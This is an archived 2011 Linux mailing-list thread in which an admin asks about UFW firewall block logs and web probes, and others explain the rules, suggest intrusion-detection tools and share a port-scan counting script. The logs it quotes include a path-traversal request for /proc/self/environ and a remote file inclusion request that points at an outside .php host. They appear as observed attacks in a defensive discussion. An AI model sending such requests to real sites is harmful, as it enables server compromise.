> Sent: 20 December 2011 15:42
> To: linux-admin@vger.kernel.org
> Subject: RE: UFW logging
>
> The lines containing " ... [UFW BLOCK] ...PROTO=TCP SPT=56527 DPT=80
"
> definitively refer to HTTP, for me.
>
> May be it's the best to inform your security team about your problems.
> They got better wappons then ufw. ;)
> The source IPs are changing quickly, so it's not possible to set a
> connection limit per host.
> Have you set a connection limit for your websites?
>
>
> Regards Marcel
>
> > -----Original Message-----
> > From: linux-admin-owner@vger.kernel.org [mailto:linux-admin-
> > owner@vger.kernel.org] On Behalf Of Dermot Paikkos
> > Sent: Tuesday, December 20, 2011 4:30 PM
> > To: linux-admin@vger.kernel.org
> > Subject: RE: UFW logging
> >
> > > -----Original Message-----
> > >
> > > Hello Dermot,
> > >
> > > as far as I can see, HTTP is blocked (DPT=80).
> > >
> > > Why are you using UFW. You've got a DMZ?
> > >
> > >
> > > Regards Marcel
> >
> > Well I really hope that port 80 is open! I have not heard any
> complaints
> > from users and I can still connect.
> >
> > The command I ran was `ufw allow "Apache Full"`. This should have
> > enabled the profile for Apache that is stored in
> > /etc/ufw/applications.d/apache2.2-common.
> >
> > I am using UFW because I wanted to reject connections from those
> hosts
> > that I could find in the httpd logs that were attempt to run the php
> > exploits, I mentioned. There is a firewall in front of the server.
> The
> > rules for the firewall allow all traffic to port 80 but it's not
> > directly under my control. I thought that UFW would give me finer
> > control over what hosts could connection.
> >
> > Are you saying that the log entries I mentioned are for connections
> to
> > port 80? Out of 300 log entries, 288 refer to DPT=80.
> >
> > I thought this rule would allow traffic to port 80:
> >
> > ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports
> 80,443
> > /* 'dapp_Apache%20Full'
> >
> > Is it possible that these log entries refer to blocks to port 80 for
> > some other reason, incomplete packets perhaps?
> >
> > Thanks,
> > Dermot.
> >
> >
> > Here are a few more log entries.:
> >
> > Dec 20 15:16:50 spl-live-04 kernel: [4815860.546796] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> > ID=5744 PROTO=TCP SPT=35936 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:17:10 spl-live-04 kernel: [4815880.590616] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> > ID=12876 PROTO=TCP SPT=38735 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:17:30 spl-live-04 kernel: [4815900.544664] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> > ID=42844 PROTO=TCP SPT=35936 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:17:52 spl-live-04 kernel: [4815921.978254] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=46.103.144.234 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> > ID=49496 DF PROTO=TCP SPT=49793 DPT=80 WINDOW=65535 RES=0x00 ACK
> > RST
> > URGP=0
> > Dec 20 15:18:11 spl-live-04 kernel: [4815940.856559] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=167.21.254.12 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=50
> > ID=22633 PROTO=TCP SPT=56527 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:18:31 spl-live-04 kernel: [4815961.228775] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=194.209.88.151 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=49
> > ID=36073 PROTO=TCP SPT=59930 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:18:50 spl-live-04 kernel: [4815980.576344] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=145.36.235.4 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=53
> > ID=45980 PROTO=TCP SPT=27691 DPT=80 WINDOW=1032 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:19:11 spl-live-04 kernel: [4816001.276032] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=82.137.200.53 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=47
> > ID=36569 PROTO=TCP SPT=62544 DPT=80 WINDOW=1032 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:19:31 spl-live-04 kernel: [4816021.003750] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=34.254.119.222 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=58
> > ID=34212 PROTO=TCP SPT=53102 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> > URGP=0
> >
> >
> >
> >
> >
> >
> > > > -----Original Message-----
> > > > From: linux-admin-owner@vger.kernel.org [mailto:linux-admin-
> > > > owner@vger.kernel.org] On Behalf Of Dermot Paikkos
> > > > Sent: Tuesday, December 20, 2011 3:03 PM
> > > > To: linux-admin@vger.kernel.org
> > > > Subject: UFW logging
> > > >
> > > > Hi,
> > > >
> > > > I noticed on our company http server that I had a lot of
> 'probes'.
> > My
> > > > logwatch file (text-mode) is 3+MB and rising. I have thousands
of
> > > > entries in my logwatch reports:
> > > >
> > > > A total of 5711 sites probed the server
> > > > 1.152.198.116
> > > > 1.22.185.5
> > > > 1.23.105.130
> > > > 1.38.24.232
> > > > 1.38.25.24
> > > > 1.39.95.219
> > > > 1.53.101.185
> > > > 101.108.239.43
> > > > ...
> > > > ...
> > > > ...
> > > >
> > > > I'm not sure what the above probes are. Any help in
understanding
> > the
> > > > above would be appreciated.
> > > >
> > > > I also have several entries like this:
> > > >
> > > > A total of 4 possible successful probes were detected (the
> following
> > > > URLs
> > > > contain strings that match one or more of a listing of strings
> that
> > > > indicate a possible exploit):
> > > >
> > > >
> > > >
> > >
> >
>
/images/?option=com_sectionex&controller=../../../../../../../../../../
> > > .
> > > > ./../..//proc/self/environ%0000 HTTP Response 200
> > > > /?
> > > >
> > > > I believe these are php exploits.
> > > >
> > > > To help secure the server, I installed UFW, enabled and allowed
> > HTTP,
> > > > HTTPS and SSH. I then monitored the logs to see what was
> happening.
> > > What
> > > > I am not clear on is what service the log entries below refer
to.
> > > >
> > > >
> > > > Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
> > > > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > > > SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00
TTL=109
> > > > ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00
> > ACK
> > > > FIN
> > > > URGP=0
> > > > Dec 20 13:11:01 myserver kernel: [4808311.356089] [UFW BLOCK]
> > > > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > > > SRC=151.96.254.4 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00
TTL=55
> > > > ID=44116 PROTO=TCP SPT=58842 DPT=80 WINDOW=1032 RES=0x00 ACK
> > RST
> > > > URGP=0
> > > >
> > > > I am getting an entry like this every 20-30 seconds. Can anyone
> tell
> > > me
> > > > what service/port is being blocked in the above log entries?
> > > >
> > > > Below are the rules at the moment.
> > > > Thanks in advance,
> > > > Dermot
> > > >
> > > > Chain ufw-user-input (1 references)
> > > > pkts bytes target prot opt in out source
> > > > destination
> > > > 29164 1620981 ACCEPT tcp -- * * 0.0.0.0/0
> > > > 0.0.0.0/0 tcp dpt:80 /* 'dapp_Apache' */
> > > > 5151 299728 ACCEPT tcp -- * * 0.0.0.0/0
> > > > 0.0.0.0/0 multiport dports 80,443 /*
> > > 'dapp_Apache%20Full'
> > > > */
> > > > 3 180 ACCEPT tcp -- * * 0.0.0.0/0
> > > > 0.0.0.0/0 tcp dpt:22 /* 'dapp_OpenSSH' */
> > > > 0 0 REJECT all -- * *
> 220.162.244.251
> > > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > > 0 0 REJECT all -- * *
> 217.115.199.40
> > > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > > 0 0 REJECT all -- * *
> 93.84.116.216
> > > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > > 0 0 REJECT all -- * *
> 85.10.204.194
> > > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > > 0 0 REJECT all -- * *
> 221.232.155.6
> > > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > > 0 0 REJECT all -- * *
> 122.255.96.164
> > > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > > 0 0 REJECT all -- * *
> 77.240.21.131
> > > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > > 0 0 REJECT all -- * * 83.170.79.6
> > > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > >
> > > > Chain ufw-user-forward (1 references)
> > > > pkts bytes target prot opt in out source
> > > > destination
> > > >
> > > > Chain ufw-user-output (1 references)
> > > > pkts bytes target prot opt in out source
> > > > destination
> > > >
> > > > Chain ufw-user-limit-accept (0 references)
> > > > pkts bytes target prot opt in out source
> > > > destination
> > > > 0 0 ACCEPT all -- * * 0.0.0.0/0
> > > > 0.0.0.0/0
> > > >
> > > > Chain ufw-user-limit (0 references)
> > > > pkts bytes target prot opt in out source
> > > > destination
> > > > 0 0 LOG all -- * * 0.0.0.0/0
> > > > 0.0.0.0/0 limit: avg 3/min burst 5 LOG flags 0
level
> 4
> > > > prefix `[UFW LIMIT BLOCK] '
> > > > 0 0 REJECT all -- * * 0.0.0.0/0
> > > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > > --
> > > > To unsubscribe from this list: send the line "unsubscribe linux-
> > > admin" in
> > > > the body of a message to majordomo@vger.kernel.org
> > > > More majordomo info at http://vger.kernel.org/majordomo-
> info.html
> > > --
> > > To unsubscribe from this list: send the line "unsubscribe linux-
> admin"
> > > in
> > > the body of a message to majordomo@vger.kernel.org
> > > More majordomo info at http://vger.kernel.org/majordomo-info.html
> >
> >
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-
> admin" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at http://vger.kernel.org/majordomo-info.html
> --
> To unsubscribe from this list: send the line "unsubscribe linux-admin"
> in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: UFW logging
2011-12-20 14:03 UFW logging Dermot Paikkos
2011-12-20 14:54 ` Marcel Galke - Trans4mation
@ 2011-12-20 18:30 ` terry white
2011-12-21 12:13 ` Dermot Paikkos
2011-12-24 19:45 ` logging: probes and ports terry white
2011-12-22 15:58 ` UFW logging Saurabh Bathe
2 siblings, 2 replies; 11+ messages in thread
From: terry white @ 2011-12-20 18:30 UTC (permalink / raw)
To: linux-admin
... ciao:
: on "12-20-2011" "Dermot Paikkos" writ:
: I have thousands of entries in my logwatch reports:
this from an hourly "Active System Attack Alerts" report.
"Dec 17 20:14:47 aniota kernel: Packet log: input REJECT ppp0 PROTO=6
218.53.151.177:6000 63.225.163.145:1433 L=40 S=0x00 I=256 F=0x0000
T=106 SYN (#8)
as a general rule, size of these reports tends to suggest how active,
system breach attempts, are. typically, 10K was seen as notable, lately,
i'm seeing 40-80K per hour. t`would seem the natives are restless.
: A total of 5711 sites probed the server
: 1.152.198.116
: 1.22.185.5
: 1.23.105.130
: 1.38.24.232
: 1.38.25.24
: 1.39.95.219
: 1.53.101.185
: 101.108.239.43
:
: I'm not sure what the above probes are.
that, if complete, tells you where the probes initiated. i have a vt
running "lynx" pointed at arin to do arin, ripe, lookups. for instance:
re: 1.152.198.116
"Network
NetRange 1.0.0.0 - 1.255.255.255
CIDR 1.0.0.0/8
Name APNIC-1
Handle NET-1-0-0-0-1
Parent
Net Type Allocated to APNIC" from 'arin';
"inetnum: 1.128.0.0 - 1.159.255.255
netname: TELSTRAINTERNET49-AU
descr: Telstra
descr: Level 12, 242 Exhibition St
descr: Melbourne
descr: VIC 3000
country: AU" from "apnic".
: I also have several entries like this:
: A total of 4 possible successful probes were detected (the following
: URLs contain strings that match one or more of a listing of strings that
: indicate a possible exploit):
:
: /images/?option=com_sectionex&controller=../../../../../../../../../../.
: ./../..//proc/self/environ%0000 HTTP Response 200
: I believe these are php exploits.
the "HTTP Response 200", on the surface of it, is troublesome.
HOWEVER, the http (apache) logs are a more telling indicator of what served
up.
"217.26.127.140 - - [20/Dec/2011:01:43:57 -0800] "GET
//wp-content/plugins/rekt-slideshow/picsize.php?
src=http://blogger.com.1mmt.ru/flash/a.gif.php
HTTP/1.1" 404 356"
here the "HTTP/1.1" 404" means the reqyest was not satisfied.
error codes are your friend.
: To help secure the server, I installed UFW, enabled and allowed HTTP,
: HTTPS and SSH. I then monitored the logs to see what was happening. What
: I am not clear on is what service the log entries below refer to.
:
: Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
: IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
: SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
: ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00 ACK FIN
: URGP=0
"PROTO=TCP SPT=6565 DPT=80"
'DPT=80' is the "destination port", YOU.
from "/etc/services"
"# service-name port/protocol [aliases ...] [# comment]
http 80/tcp www www-http # WorldWideWeb HTTP
http 80/udp www www-http # HTTP"
so, here we are seeing 'http' processed, however, i am not convinced it
being blocked at all. from your supplied rules, looks like http wide open
...
: Chain ufw-user-input (1 references)
: pkts bytes target
: 29164 1620981 ACCEPT tcp dpt:80 /* 'dapp_Apache' */
--
... it's not what you see ,
but in stead , notice ...
^ permalink raw reply [flat|nested] 11+ messages in thread
* RE: UFW logging
2011-12-20 18:30 ` terry white
@ 2011-12-21 12:13 ` Dermot Paikkos
2011-12-24 19:45 ` logging: probes and ports terry white
1 sibling, 0 replies; 11+ messages in thread
From: Dermot Paikkos @ 2011-12-21 12:13 UTC (permalink / raw)
To: linux-admin, twhite
Hi
> -----Original Message-----
>
> : on "12-20-2011" "Dermot Paikkos" writ: (my mother always told me
there is no such word as 'writ')
> as a general rule, size of these reports tends to suggest how
> active,
> system breach attempts, are. typically, 10K was seen as notable,
> lately,
> i'm seeing 40-80K per hour. t`would seem the natives are restless.
Indeed. Although my numbers are slightly down on yesterday.
A total of 4861 sites probed the server
1.22.41.192
1.23.101.84
> : A total of 5711 sites probed the server
> : 1.152.198.116
> : 1.22.185.5
> : 1.23.105.130
> : 1.38.24.232
> : 1.38.25.24
> : 1.39.95.219
> : 1.53.101.185
> : 101.108.239.43
> :
> : I'm not sure what the above probes are.
>
> that, if complete, tells you where the probes initiated. i have a
> vt
> running "lynx" pointed at arin to do arin, ripe, lookups. for
instance:
>
> re: 1.152.198.116
>
> "Network
> NetRange 1.0.0.0 - 1.255.255.255
> CIDR 1.0.0.0/8
> Name APNIC-1
> Handle NET-1-0-0-0-1
> Parent
> Net Type Allocated to APNIC" from 'arin';
>
> "inetnum: 1.128.0.0 - 1.159.255.255
> netname: TELSTRAINTERNET49-AU
> descr: Telstra
> descr: Level 12, 242 Exhibition St
> descr: Melbourne
> descr: VIC 3000
> country: AU" from "apnic".
I've followed your lead here although I haven't used lynx. I found the
providers through ripe and sent an email to abuse/hostmaster with the
log entries.
> : I also have several entries like this:
Today I had 94, all from someone in .cn.
A total of 94 possible successful probes were detected (the following
URLs
contain strings that match one or more of a listing of strings that
indicate a possible exploit):
> the "HTTP Response 200", on the surface of it, is troublesome.
> HOWEVER, the http (apache) logs are a more telling indicator of what
> served
> up.
I have changed the 200 response to a 404. By default (or mistake) all
the not found urls were being served up with a 200 response. I suspect
that might have attracted un-wanted attention and lead the abuser to
suspect we run php, which we don't.
>
>
> : To help secure the server, I installed UFW, enabled and allowed
HTTP,
> : HTTPS and SSH. I then monitored the logs to see what was happening.
> What
> : I am not clear on is what service the log entries below refer to.
> :
> : Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
> : IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> : SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
> : ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00 ACK FIN
> : URGP=0
>
> "PROTO=TCP SPT=6565 DPT=80"
>
> 'DPT=80' is the "destination port", YOU.
>
> from "/etc/services"
>
> "# service-name port/protocol [aliases ...] [# comment]
> http 80/tcp www www-http # WorldWideWeb
HTTP
> http 80/udp www www-http # HTTP"
>
> so, here we are seeing 'http' processed, however, i am not
> convinced it
> being blocked at all. from your supplied rules, looks like http wide
> open
> ...
>
>
> : Chain ufw-user-input (1 references)
> : pkts bytes target
> : 29164 1620981 ACCEPT tcp dpt:80 /* 'dapp_Apache' */
This is what I thought. This rule, and the one for 443, is pretty clear.
It should not be blocking port 80. So the log message is still a
mystery. As I said, if the site was not available on port 80, I would
have heard about it. The amount of logging ufw is making needs
attention. It's filling my kern, messages and syslog files with it's
output. Back to the man pages.
Thanks,
Dermot.
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: UFW logging
2011-12-20 14:03 UFW logging Dermot Paikkos
2011-12-20 14:54 ` Marcel Galke - Trans4mation
2011-12-20 18:30 ` terry white
@ 2011-12-22 15:58 ` Saurabh Bathe
2011-12-23 0:38 ` kalinix
2 siblings, 1 reply; 11+ messages in thread
From: Saurabh Bathe @ 2011-12-22 15:58 UTC (permalink / raw)
To: linux-admin
On Tuesday 20 December 2011 07:33 PM, Dermot Paikkos wrote:
> Chain ufw-user-limit (0 references)
> pkts bytes target prot opt in out source
> destination
> 0 0 LOG all -- * * 0.0.0.0/0
> 0.0.0.0/0 limit: avg 3/min burst 5 LOG flags 0 level 4
> prefix `[UFW LIMIT BLOCK] '
I would say the rule above *could* be suspect, which would log anything
that it catches. Depending on where in the filter it is being
referenced, it maybe catching those packets. I cannot say definitively
without actually seeing whole iptables -nL output.
Thanks,
Saurabh
^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: UFW logging
2011-12-22 15:58 ` UFW logging Saurabh Bathe
@ 2011-12-23 0:38 ` kalinix
2011-12-23 9:37 ` Dermot Paikkos
0 siblings, 1 reply; 11+ messages in thread
From: kalinix @ 2011-12-23 0:38 UTC (permalink / raw)
To: Saurabh Bathe; +Cc: linux-admin
On Thu, 2011-12-22 at 21:28 +0530, Saurabh Bathe wrote:
> On Tuesday 20 December 2011 07:33 PM, Dermot Paikkos wrote:
> > Chain ufw-user-limit (0 references)
> > pkts bytes target prot opt in out source
> > destination
> > 0 0 LOG all -- * * 0.0.0.0/0
> > 0.0.0.0/0 limit: avg 3/min burst 5 LOG flags 0 level 4
> > prefix `[UFW LIMIT BLOCK] '
>
> I would say the rule above *could* be suspect, which would log anything
> that it catches. Depending on where in the filter it is being
> referenced, it maybe catching those packets. I cannot say definitively
> without actually seeing whole iptables -nL output.
>
> Thanks,
> Saurabh
> --
> To unsubscribe from this list: send the line "unsubscribe linux-admin" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at http://vger.kernel.org/majordomo-info.html
It's not blocked, it's limited to 3 packets per minute, with a burst to
5. Only when this limit is reached the connection is blocked and the
event is logged with the [UFW LIMIT BLOCK]. So you may want to check
your syslog (or whatever logging system you are using) for this prefix.
While this doesn't prevent users to connect to your server, it can
affect the legit traffic.
What you need is an IDS (either ModSecurity for apache [1] and/or ossec
[2] - but hey, a strong tweaking is necessary for both of them in order
to work as desired - you have been warned :) )
[1] http://www.modsecurity.org/
[2] http://www.ossec.net/
P.S. there is a good howto for mod_security on Ubuntu (I presume you are
using Ubuntu) here:
http://blog.bodhizazen.net/linux/how-to-mod_security-ubuntu-904/
HTH
--
Calin
Key fingerprint = 37B8 0DA5 9B2A 8554 FB2B 4145 5DC1 15DD A3EF E857
=================================================
What an artist dies with me! -- Nero
^ permalink raw reply [flat|nested] 11+ messages in thread
* RE: UFW logging
2011-12-23 0:38 ` kalinix
@ 2011-12-23 9:37 ` Dermot Paikkos
0 siblings, 0 replies; 11+ messages in thread
From: Dermot Paikkos @ 2011-12-23 9:37 UTC (permalink / raw)
To: linux-admin
> -----Original Message-----
> On Thu, 2011-12-22 at 21:28 +0530, Saurabh Bathe wrote:
> > On Tuesday 20 December 2011 07:33 PM, Dermot Paikkos wrote:
> > > Chain ufw-user-limit (0 references)
> > > pkts bytes target prot opt in out source
> > > destination
> > > 0 0 LOG all -- * * 0.0.0.0/0
> > > 0.0.0.0/0 limit: avg 3/min burst 5 LOG flags 0 level
> 4
> > > prefix `[UFW LIMIT BLOCK] '
> >
> > I would say the rule above *could* be suspect, which would log
> anything
> > that it catches. Depending on where in the filter it is being
> > referenced, it maybe catching those packets. I cannot say
> definitively
> > without actually seeing whole iptables -nL output.
> >
> > Thanks,
> > Saurabh
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-
> admin" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at http://vger.kernel.org/majordomo-info.html
>
> It's not blocked, it's limited to 3 packets per minute, with a burst
to
> 5. Only when this limit is reached the connection is blocked and the
> event is logged with the [UFW LIMIT BLOCK]. So you may want to check
> your syslog (or whatever logging system you are using) for this
prefix.
> While this doesn't prevent users to connect to your server, it can
> affect the legit traffic.
That makes sense give the rules. It must be a default rule as I did not
add it. I was getting one of these blocks every 30 seconds. I'm guessing
this is to protect as DOS attacks.
> What you need is an IDS (either ModSecurity for apache [1] and/or
ossec
> [2] - but hey, a strong tweaking is necessary for both of them in
order
> to work as desired - you have been warned :) )
I had seen references to modsecurity but ufw seemed like a simpler
solution.
As it turns out I have to disable ufw yesterday. A user in Switzerland
reported problems connecting. The IP they gave me can't be found in any
of the logs, syslog or httpd, so I assume they do not know their IP
address.
The attempted php exploits are down today. Just the one yesterday. I
suspect that might be because the server now correctly returns 404 for
these url.
> [1] http://www.modsecurity.org/
> [2] http://www.ossec.net/
>
> P.S. there is a good howto for mod_security on Ubuntu (I presume you
> are
> using Ubuntu) here:
> http://blog.bodhizazen.net/linux/how-to-mod_security-ubuntu-904/
Thanks for the link. I'll have a read.
Thanks all and happy holidays if your getting one.
Dermot.
^ permalink raw reply [flat|nested] 11+ messages in thread
* logging: probes and ports ...
2011-12-20 18:30 ` terry white
2011-12-21 12:13 ` Dermot Paikkos
@ 2011-12-24 19:45 ` terry white
1 sibling, 0 replies; 11+ messages in thread
From: terry white @ 2011-12-24 19:45 UTC (permalink / raw)
To: linux-admin
[-- Attachment #1: Type: TEXT/PLAIN, Size: 554 bytes --]
... ciao:
: : A total of 5711 sites probed the server
: : 1.152.198.116
: : 1.22.185.5
: : 1.23.105.130
: : 1.38.24.232 ...
i have for some time, used a script that looks for such information, and
mails it to me.
"Subject: Dec 23 Probes: 655 on 483 ports ...
# Scans Port No:
9 22
75 23
... .. and so on."
i have massaged it somewhat, for human consumption.
if it useful, great.
included as an attachment ...
--
... it's not what you see ,
but in stead , notice ...
[-- Attachment #2: a cron.daily event ... --]
[-- Type: TEXT/PLAIN, Size: 1511 bytes --]
#!/bin/sh
# aniota.com twhite@
# ports: cron event
# 11-16-2009
# scanned 'ports' report for yesterday
# 01-01-2010
# fixed "Jan 1" date problem: +"%b %_d"
# 12-24-2011
# for general consumption
#
# ASSUMED:
# LOG="/var/log/kernel"
# MAIL="root@localhost"
#
# 'Packet' entry looks (something) like:
# "Dec 23 23:43:04 aniota kernel: Packet log: input REJECT ppp0
# PROTO=17 198.41.0.4:53 63.225.163.150:29496 L=450 S=0x00
# I=48767 F=0x0000 T=57 (#182)"
#################################
# user dependant #
#################################
# flavour to taste
LOG="/var/log/kernel"
MAIL="root@localhost"
#################################
# not'sa much #
#################################
# temp file(s)
FILE="$RANDOM"
COUNT="$FILE-C"
# "Dec 23" "12-23-2011"
Y="`date -d "yesterday" +"%b %_d"`"
T="`date -d "yesterday" +"%m-%d-%y"`"
# 62415, 5928, 21595, ... list of ports
grep "$Y" $LOG | \
grep "Packet" | cut -d ":" -f 7 | \
cut -d " " -f 1 > $FILE
# number of scans ... in above list
NOS="`cat $FILE | wc -l`"
# 1 64861; count, port ... from above list
sort -n $FILE | uniq -c > $COUNT
# number of ports ... cough , cough
NOP="`cat $COUNT | wc -l`"
# mail pretty printing
echo "# Scans Port No:" > $FILE
cat $COUNT >> $FILE
# mail the damn thing ...
cat $FILE | mail $MAIL -s "$Y Probes: $NOS on $NOP ports ..."
rm -f $FILE*
exit
^ permalink raw reply [flat|nested] 11+ messages in thread
end of thread, other threads:[~2011-12-24 19:45 UTC | newest]
Thread overview: 11+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2011-12-20 14:03 UFW logging Dermot Paikkos
2011-12-20 14:54 ` Marcel Galke - Trans4mation
2011-12-20 15:29 ` Dermot Paikkos
2011-12-20 15:41 ` Marcel Galke - Trans4mation
2011-12-20 16:32 ` Dermot Paikkos
2011-12-20 18:30 ` terry white
2011-12-21 12:13 ` Dermot Paikkos
2011-12-24 19:45 ` logging: probes and ports terry white
2011-12-22 15:58 ` UFW logging Saurabh Bathe
2011-12-23 0:38 ` kalinix
2011-12-23 9:37 ` Dermot Paikkos
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).